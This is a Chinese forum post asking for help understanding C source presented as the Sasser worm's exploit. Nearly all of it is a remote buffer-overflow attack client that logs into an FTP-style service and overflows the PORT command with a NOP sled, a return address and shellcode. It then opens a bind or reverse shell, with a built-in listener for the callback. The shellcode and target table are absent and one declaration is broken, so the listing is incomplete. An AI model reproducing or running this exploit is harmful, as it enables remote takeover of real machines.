急！！在线等。高手请进，解释震荡波的源代码

void usage(char *argv0) { 
int i; 
printf("%s -d <host/ip> [opts]\n\n",argv0); 
printf("Options:\n"); 
printf(" -h undocumented\n"); 
printf(" -p <port> to connect to [default: %u]\n",default_port); 
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n"); 
printf(" -P <port> for the shellcode [default: 530]\n"); 
printf(" -H <host/ip> for the reverse shellcode\n"); 
printf(" -L setup the listener for the reverse shell\n"); 
printf(" -t <target type> [default 0]; choose below\n\n"); 
printf("Types:\n"); 
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++) 
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg); 
exit(1); 
} 
void shell(int s) { 
char buff[4096]; 
int retval; 
fd_set fds; 
printf("[+] connected!\n\n"); 
for (;;) { 
FD_ZERO(&fds); 
FD_SET(0,&fds); 
FD_SET(s,&fds); 
if (select(s+1, &fds, NULL, NULL, NULL) < 0) 
fatal("[-] shell.select()"); 
if (FD_ISSET(0,&fds)) { 
if ((retval = read(1,buff,4096)) < 1) 
fatal("[-] shell.recv(stdin)"); 
send(s,buff,retval,0); 
} 
if (FD_ISSET(s,&fds)) { 
if ((retval = recv(s,buff,4096,0)) < 1) 
fatal("[-] shell.recv(socket)"); 
write(1,buff,retval); 
} 
} 
} 
void callback(short port) { 
struct sockaddr_in sin; 
int s,slen=16; 
sin.sin_family = 2; 
sin.sin_addr.s_addr = 0; 
sin.sin_port = htons(port); 
s=socket(2,1,6); 
if ( bind(s,(struct sockaddr *)&sin, 16) ) { 
kill(getppid(),SIGKILL); 
fatal("[-] shell.bind"); 
} 
listen(s,1); 
s=accept(s,(struct sockaddr *)&sin,&slen); 
shell(s); 
printf("crap\n"); 
} 
int main(int argc, char **argv, char **env) { 
struct sockaddr_in sin; 
struct hostent *he; 
char *host; int port=default_port; 
char *Host; int Port=5300; char bindopt=1; 
int i,s,pid=0,rip; 
char *buff; 
int type=0; 
char *jmp[]=; 
printf(BANNER "\n"); 
if (argc==1) 
usage(argv[0]); 
for (i=1;i<argc;i+=2) { 
if (strlen(argv[i]) != 2) 
usage(argv[0]); 
switch(argv[i][1]) { 
case 't': 
type=atoi(argv[i+1]); 
break; 
case 'd': 
host=argv[i+1]; 
break; 
case 'p': 
port=atoi(argv[i+1])?:default_port; 
break; 
case 's': 
if (strstr(argv[i+1],"rev")) 
bindopt=0; 
break; 
case 'H': 
Host=argv[i+1]; 
break; 
case 'P': 
Port=atoi(argv[i+1])?:5300; 
Port=Port ^ 0xdede; 
Port=(Port & 0xff) << 8 | Port >>8; 
memcpy(bsh+0x57,&Port,2); 
memcpy(rsh+0x5a,&Port,2); 
Port=Port ^ 0xdede; 
Port=(Port & 0xff) << 8 | Port >>8; 
break; 
case 'L': 
pid++; i--; 
break; 
case 'v': 
verbose++; i--; 
break; 
case 'h': 
usage(argv[0]); 
default: 
usage(argv[0]); 
} 
} 
if (verbose) 
printf("verbose!\n"); 
if ((he=gethostbyname(host))==NULL) 
fatal("[-] gethostbyname()"); 
sin.sin_family = 2; 
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]); 
sin.sin_port = htons(port); 
printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port); 
if (bindopt) 
printf("[.] will try to put a bindshell on port %d.\n",Port); 
else { 
if ((he=gethostbyname(Host))==NULL) 
fatal("[-] gethostbyname() for -H"); 
rip=*((long *)he->h_addr_list[0]); 
rip=rip^0xdededede; 
memcpy(rsh+0x53,&rip,4); 
if (pid) { 
printf("[.] setting up a listener on port %d.\n",Port); 
pid=fork(); 
switch (pid) { case 0: callback(Port); } 
} else 
printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port); 
} 
printf("[.] using type '%s'\n",targets[type].os); 
// -------------------- core 
s=socket(2,1,6); 
if (connect(s,(struct sockaddr *)&sin,16)!=0) { 
if (pid) kill(pid,SIGKILL); 
fatal("[-] connect()"); 
} 
printf("[+] connected, sending exploit\n"); 
buff=(char *)malloc(4096); 
bzero(buff,4096); 
sprintf(buff,"USER x\n"); 
send(s,buff,strlen(buff),0); 
recv(s,buff,4095,0); 
sprintf(buff,"PASS x\n"); 
send(s,buff,strlen(buff),0); 
recv(s,buff,4095,0); 
memset(buff+0000,0x90,2000); 
strncpy(buff,"PORT ",5); 
strcat(buff,"\x0a"); 
memcpy(buff+272,jmp[0],2); 
memcpy(buff+276,&targets[type].goreg,4); 
memcpy(buff+280,jmp[1],5); 
setoff(targets[type].gpa, targets[type].lla); 
if (bindopt) 
memcpy(buff+300,&bsh,strlen(bsh)); 
else 
memcpy(buff+300,&rsh,strlen(rsh)); 
send(s,buff,strlen(buff),0); 
free(buff); 
close(s); 
// -------------------- end of core 
if (bindopt) { 
sin.sin_port = htons(Port); 
sleep(1); 
s=socket(2,1,6); 
if (connect(s,(struct sockaddr *)&sin,16)!=0) 
fatal("[-] exploit most likely failed"); 
shell(s); 
} 
if (pid) wait(&pid); 
exit(0); 
}
请问usage()中argv在传递什么东西？callback()再起什么作用？怎么实现的端口查询？
拜托